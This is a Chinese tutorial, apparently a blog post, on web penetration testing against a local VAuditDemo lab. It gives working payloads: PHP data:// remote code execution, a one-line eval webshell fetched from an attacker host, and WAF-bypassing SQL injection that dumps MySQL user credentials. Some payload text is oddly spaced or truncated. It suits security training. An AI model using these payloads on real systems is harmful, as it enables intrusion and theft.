跳到主要内容
Web 渗透测试全流程实操:从概念到漏洞利用 | 极客日志
PHP
Web 渗透测试全流程实操:从概念到漏洞利用 综述由AI生成 Web 渗透测试的全流程,涵盖概念定义、测试类型(黑白灰盒)、标准操作步骤(前期交互至报告提交)。通过搭建 VAudit 靶场环境,演示了情报搜集、漏洞探测、WAF 绕过、文件包含及 SQL 注入漏洞的利用方法。文章重点讲解了如何利用 PHP 伪协议实现远程代码执行,以及如何通过逻辑绕过 WAF 进行联合注入获取数据库信息。最后阐述了渗透报告的结构与修复建议,强调安全左移的重要性,旨在帮助开发者与安全人员掌握攻防技能,提升系统安全性。
ApiHolic 发布于 2025/2/6 更新于 2026/6/2 27 浏览Web 渗透测试全流程实操
一、渗透测试概念
1.1 定义与原则
进行 Web 渗透测试之前,务必获得测试目标拥有者或组织的书面授权,明确渗透测试的范围。在授权范围内进行渗透测试,测试结束之后,务必清除渗透测试留下的痕迹,包括访问日志、事件记录、上传的 shell 脚本、创建的影子账户等等。
渗透测试并没有一个标准的定义,但通常被解释为一种评估计算机网络系统安全的方法。这个过程模拟恶意黑客的攻击方式,以寻找并利用系统中的安全漏洞。渗透测试旨在挖掘目标系统的安全漏洞,取得系统的控制权,访问系统的机密数据,并发现可能影响业务持续运作的安全隐患。
渗透测试与黑客入侵的最大区别在于其进行方式。渗透测试是经过客户授权,采用可控制、非破坏性质的方法和手段对目标和网络设备进行检测。这不仅能帮助管理者了解他们网络所面临的问题,还能提供针对这些问题的安全加固建议,从而帮助客户提升系统的安全性。
1.2 测试类型
渗透测试按照软件测试的理念分为三种类型:白盒测试、黑盒测试、灰盒测试。
白盒测试 :基于代码审查,再结合漏洞扫描等技术进行。因为拥有目标所有内部与底层的知识,因此可以用最小的代价发现更多严重的隐藏的漏洞。
黑盒测试 :业内也称为盲测,除了有测试范围之外,其他全部模拟黑客攻击的过程进行操作。因为是盲测,因此需要依赖较高的技术能力,攻击方式也变得多样性,从而可以更完整的评估目标的安全风险,也可以检测到目标团队的应急能力。
灰盒测试 :集两者之长,既能快速全面检测出漏洞,同时还具备了更完整的安全风险评估能力。它是结合白盒测试的代码审计、黑盒测试的攻击策略和技术的一种折中类型。
1.3 安全漏洞生命周期
安全漏洞被发现到其消亡的过程被划分为多个步骤,其中包含的关键概念如下:
Exploit (EXP) :简称 EXP,利用安全漏洞造成入侵或破坏的渗透代码,又叫漏洞利用代码。
POC (Proof of Concept) :概念验证,只是验证漏洞的存在,并不会利用该漏洞进行入侵。
0 Day :第一个发现的漏洞,同时官方还没有发布补丁,也未公开该漏洞,漏洞处于可利用阶段。
RCE (Remote Code/Command Execution) :远程代码/命令执行,是高危漏洞的典型特征。
SRC (Security Emergency Response Center) :安全应急响应中心,企业用于接收外部安全报告的平台。
二、Web 渗透测试的步骤
渗透测试步骤通常分为六个主要阶段:
前期交互 :这个阶段主要是和委托方进行商讨洽谈、获取书面授权、测试范围的确定等工作。明确边界是合法合规的前提。
情报搜集 :在获得授权的基础上,对测试目标进行相应的情报收集,包括网络基本配置、域名、人员权限划分、暴露的端口、系统入口、Web 后台入口等。这一步决定了后续攻击的深度。
汇总分析 :该阶段基于上一步骤,对所有收集的信息进行汇总整理、从中找出合适的渗透方向、策略,选定合适的工具以及人员分工。
渗透攻击 :开始进行漏洞挖掘、扫描、找出可用的载荷(payload),进行漏洞利用。这是核心环节。
后渗透攻击 :getshell、上传木马、修补漏洞、清除痕迹和脚本。此阶段旨在验证漏洞的实际危害及持久化能力。
报告编写 :将所有找到的安全漏洞汇总为一份渗透测试报告,提交给委托方,完成渗透任务。报告应包含修复建议。
三、靶场部署与环境搭建
为了演示 Web 渗透测试基本流程和注意事项,我们构建一个本地靶场环境。
3.1 服务器配置
操作系统 :CentOS 7
硬件资源 :2 核 CPU、2G 内存、30G 磁盘
网络要求 :可访问外网,IP 地址规划为 192.168.211.132
软件环境 :部署 XAMPP 5.6 版本,安装 VAudit 靶场应用
3.2 客户端配置
主机操作系统 :Windows 11,IP 192.168.1.5
渗透机 :CentOS 7,IP 192.168.211.129,部署 XAMPP,存储攻击用的 shell 脚本
3.3 靶场搭建过程 从开源社区下载 VAuditDemo 软件,作者是 Virink。以下是详细部署步骤:
安装 XAMPP :先在 CentOS 上面安装 XAMPP 5.6 版本。
配置虚拟主机 :使用添加 VHosts 和端口的方式部署 VAudit。在 lampp/etc/extra 目录下面,通过修改两个配置文件来处理。
修改基本配置 :使用网站管理中的 PHP 配置,将 allow_url_include 设置为 On,也就是需要使用到远程文件包含功能。如果 XAMPP 启动失败,需要在 lampp 的启动程序 lampp 中找到 2.2.0,修改为 2.8.0,如下位置:
export LD_ASSUME_KERNEL=2.8.0
配置数据库连接 :使用 vi 打开 /opt/lampp/htdocs/vaudit/sys 目录下面的 config.php 文件。
<?php
error_reporting (0 );
if (!file_exists ($_SERVER ["DOCUMENT_ROOT" ] . '/sys/install.lock' )) {
header ("Location: /install/install.php" );
exit ;
}
include_once 'lib.php' ;
$host = "localhost" ;
$username = "root" ;
$password = "root" ;
$database = "vauditdemo" ;
$conn = mysql_connect ($host , $username , $password );
mysql_query ('set names utf8' , $conn );
mysql_select_db ($database , $conn ) or die (mysql_error ());
if (!$conn ) {
die ('Could not connect: ' . mysql_error ());
exit ;
}
session_start ();
?>
初始化安装 :完成上述步骤之后,在浏览器中输入 http://192.168.211.132:81/ 看到 VAuditDemo 安装界面。可以看出有两个目录没有写权限,需要 sys 和 uploads 进行赋权。在 /www/admin/localhost_80/wwwroot 下面执行下面的命令,这里只需要给 other 赋予写入权限即可。
chmod o+w sys uploads
然后刷新浏览器,现在可以看到可以安装了。点击安装,看到提示表示完成。点击确定之后,进入到 VAudit 的主页面。
四、信息采集与侦察 现在我们需要熟悉这个软件系统的基本功能,跟踪和监控 Web 页面上的各个接口及交互的数据。这里需要使用到一些工具:SQLMap、Burp Suite、御剑后台扫描工具、带 HackBar 的 Firefox 浏览器等。
先注册一个用户 tester,然后使用 tester 进入,开启对系统的使用之旅。通过使用我们可以发现,注册普通用户不需要验证码,普通用户修改用户信息不需要二次验证,可以上传图头像图片,搜索接口,留言,查看留言,关于页面等普通用户可以点击或使用的功能。
接下来使用御剑后台扫描工具,对系统进行扫描。通过扫描我们可以发现,该目标站点存在一个后台登录的页面。这里可以看出后台登录是有验证码的,看来暂时无法直接绕过。不过从这里我们可以看出已经有好多个接口或功能可以提供给我们验证了,那么我们可以进入下一个环节,看看是否能够找到一些渗透的切入点。
五、概念验证 (PoC) 针对一个 Web 系统,能够使用的渗透点主要包括登录密码的暴力破解、SQL 注入、XSS 注入、CSRF、文件包含等。对于普通用户进行暴力破解没有必要,因为我们可以自己注册一个普通用户。这里主要是考虑如何能够切入到数据库或者存储型 XSS、如果有文件包含也不错,可以进行利用。
5.1 文件包含漏洞探测 经过反复测试,可以发现一个有意思的地方:http://192.168.211.128/index.php?module=about。这个地址的 module 翻译过来为模块,而 about 正好指向关于页面。尝试将 about 改成其他任意的单词,看看页面返回情况。在这个过程中可以发现页面不会报错,但是也没有相应的提示,那么这里应该是一个文件包含的用法,没有抛出错误,估计是代码中给文件加了后缀,并且做了异常控制。可以初步确认,这里存在一个文件包含的漏洞,需要进一步验证。
5.2 SQL 注入与 WAF 绕过 接下来关注一下留言功能,这里是允许用户输入内容的。在渗透中有一个核心的思想,那就是所有的输入是否用户可控。一般来说,用户可控的输入都有一定的几率存在安全风险,如果后端代码未做过滤或者过滤不够彻底,那么这些地方就是机会。
在这个位置,我们可以尝试的有 SQL 注入和存储型 XSS。先试试 SQL 注入,由于留言属于插入功能,因此这里优先考虑报错注入。结果发现,注入的 SQL 代码被原样显示,显然这里没有 SQL 注入。那么再检测一下是否可以进行 XSS,在输入框中输入以下代码 test 提交留言。可以看出,还是被原文显示,说明这里漏洞也被堵了。
那么点击查看留言详情试试,这里我们可以获得留言详情的接口地址:http://192.168.211.128/messageDetail.php?id=9。这里参数 id 看起来应该是一个查询条件,那么可以尝试看看这里是否存在注入的可能。
在 HackBar 中输入 http://192.168.211.128/messageDetail.php?id=9 or 1=1#。从图上可以看出这里有回显,且从提示看一看出,sql 代码被 WAF(Web Application Firewall)拦截。这里可以知道目标使用了一种 Web 防火墙基础,而 or 被替换为了 sqlwaf,可以看出其防火墙代码采取的是替换策略。
那么根据经验可以试试其他的关键字和关键符号,看看替换中是否存在漏洞可以利用。在 SQL 注入中,&&、||、_ 下划线,单引号,双引号这些符号是非常有用的。如果这些符号被替换,那么我们可能就得另谋出路。因此将这几个符号放在主要尝试的位置。经过尝试可以发现下划线、单引号和双引号也被转义了,而 && 和 || 被替换为了空,这里就留下了一个注入漏洞,可以利用 || 来绕过关键字的 WAF。
六、漏洞利用实战
6.1 文件包含漏洞利用 针对文件包含类的漏洞利用,需要知道的是有两种包含方式,第一种就是本地文件包含,这种漏洞的利用可以获取到服务器上面的基本信息。如果有文件上传漏洞存在,则可以将二者进行结合,从而 getshell。而文件包含的利用需要用到 PHP 的伪协议相关的知识,这里我们可以试试 data 伪协议。
http://192.168.211.132:81/index.php?module=data://text/plain, <?php phpinfo ();?>
这个结果表示,我们其实已经可以执行 OS 的命令,也就是 getshell。比如可以执行如下的 payload:
http://192.168.211.132:81/index.php?module=data://text/plain, <?php echo \`ifconfig\`;?>
可以看到已经从服务器获取到了信息,那么可以顺着这个思路往下,将服务器上面的所有能看的文件都进行浏览,从而获取我们需要的信息。
另外也可以实施挂马的操作。从攻击服务器上面去下载一个一句话木马,如果在外网上面,那么服务器需要提供外网的访问功能。服务器脚本的位置就直接方法 /opt/lampp/htdocs 下面,脚本名字可以根据需要来改,其内容只有一句话 <?php eval($\_POST[0]);?>。
http://192.168.211.132:81/index.php?module=data://text/plain, <?php \`wget http:
在被攻击的服务器上面的 /tmp 目录下面可以看到下面的结果。木马上传成功,后续可以使用蚁剑等工具进行连接服务,实施其他的操作。
6.2 SQL 注入漏洞利用 根据前面概念验证的结果,可以看出在返回留言详情的地方可以进行 SQL 注入。先尝试最直接的方法就是联合注入,payload 如下:
http://192.168.211.132:81/messageDetail.php?id =7 uni||on sel||ect database(),version(),user(),4
可以看到结果。从这里看出,其内部数据库配置的是本地用户 root@localhost。这里可以试试能否直接从 information_schema 中获取表信息。使用 payload 如下,这里因为要绕开单引号转义,需要把数据库部分的'vauditdemo'转成 hex,即 0x2776617564697464656d6f27。
sel||ect table_name fr||om info||rmation_schema.tables whe||re table_schema =0 x2776617564697464656d6f27
但是看到的结果如下:这里可以看到内部对下划线做了转义,因此无法从 information_schema 中遍历数据库信息。那就干脆试试能否从 MySQL 库中获取用户信息,payload 如下:
http://192.168 .211.132 :81 /messageDetail.php?id=7 uni||on sel||ect database (),version (),user (),(sel||ect conc||at (host,0 x7e,user,0 x7e,passwo||rd) fr||om mysql.user) #
可以看到结果如下:Subquery returns more than 1 row。这里表示返回的数据不止一行,那可以使用 limit 进行逐行遍历,payload 如下:
http://192.168 .211.132 :81 /messageDetail.php?id=7 uni||on sel||ect database (),version (),user (),(sel||ect conc||at (host,0 x7e,user,0 x7e,passwo||rd) fr||om mysql.user lim||it 0 ,1 ) #
继续遍历,就可以发现数据库里面的具体用户信息,其中包含远程连接权限的用户。这个时候需要对用户 humh 的密码进行创库破解,然后使用这个用户进行远程登录到数据库服务器,对数据库进行操作,这个时候就完美的避开了系统的 WAF。
七、报告编写与修复建议 渗透测试的最终产出是一份详细的报告。报告应包含以下内容:
文件包含问题 :详细描述漏洞位置、复现步骤、危害等级。建议修复方式为禁用 allow_url_include 选项,并对输入参数进行严格的白名单校验。
SQL 注入风险 :描述注入点、绕过 WAF 的技巧、获取的数据。建议修复方式为使用预处理语句(Prepared Statements),避免拼接 SQL 字符串。
报告模板 :应包含执行摘要、漏洞详情、风险评级(CVSS)、修复建议、附录等部分。
八、总结与防御 本文主要基于靶场环境,阐述 Web 渗透中的一些技巧和方法。文中仅仅选取了两个漏洞作为演示,该系统中实际包含的漏洞超过 10 个,有需要者可以按照本文中的步骤去慢慢挖掘。
网络安全是软件系统质量模型中的重要指标之一。网络漏洞和普通缺陷的区别在于普通的缺陷一般造成的是功能的失效,从而导致用户使用存在困难或者用户无法使用。而网络安全漏洞则可能是在用户无感知的情况下,被有心人进行利用,从而导致用户数据、公司机密等重要信息的泄露,或者服务器或个人设备整个被转成肉鸡,为攻击者的攻击提供便利和掩护。
网络安全漏洞不需要多,一个就行,因此系统在研发开始就需要将网络安全引入。现在流行的称谓是安全左移,网络安全要做到 100%,甚至 200% 才可以。开发人员应在编码阶段遵循安全规范,定期进行代码审计和安全测试,确保系统上线前不存在高危漏洞。运维人员应配置完善的 WAF 和防火墙策略,定期更新系统和组件补丁。安全团队应建立应急响应机制,以便在发生安全事件时能够快速响应和处理。
通过本教程的学习,希望读者能够掌握 Web 渗透测试的基本流程,理解常见漏洞的原理与利用方式,并能够在实际工作中运用这些知识来提升系统的安全性。记住,攻防是相辅相成的,只有深入了解攻击手段,才能构建更坚固的防御体系。
相关免费在线工具 curl 转代码 解析常见 curl 参数并生成 fetch、axios、PHP curl 或 Python requests 示例代码。 在线工具,curl 转代码在线工具,online
Base64 字符串编码/解码 将字符串编码和解码为其 Base64 格式表示形式即可。 在线工具,Base64 字符串编码/解码在线工具,online
Base64 文件转换器 将字符串、文件或图像转换为其 Base64 表示形式。 在线工具,Base64 文件转换器在线工具,online
Markdown转HTML 将 Markdown(GFM)转为 HTML 片段,浏览器内 marked 解析;与 HTML转Markdown 互为补充。 在线工具,Markdown转HTML在线工具,online
HTML转Markdown 将 HTML 片段转为 GitHub Flavored Markdown,支持标题、列表、链接、代码块与表格等;浏览器内处理,可链接预填。 在线工具,HTML转Markdown在线工具,online
JSON 压缩 通过删除不必要的空白来缩小和压缩JSON。 在线工具,JSON 压缩在线工具,online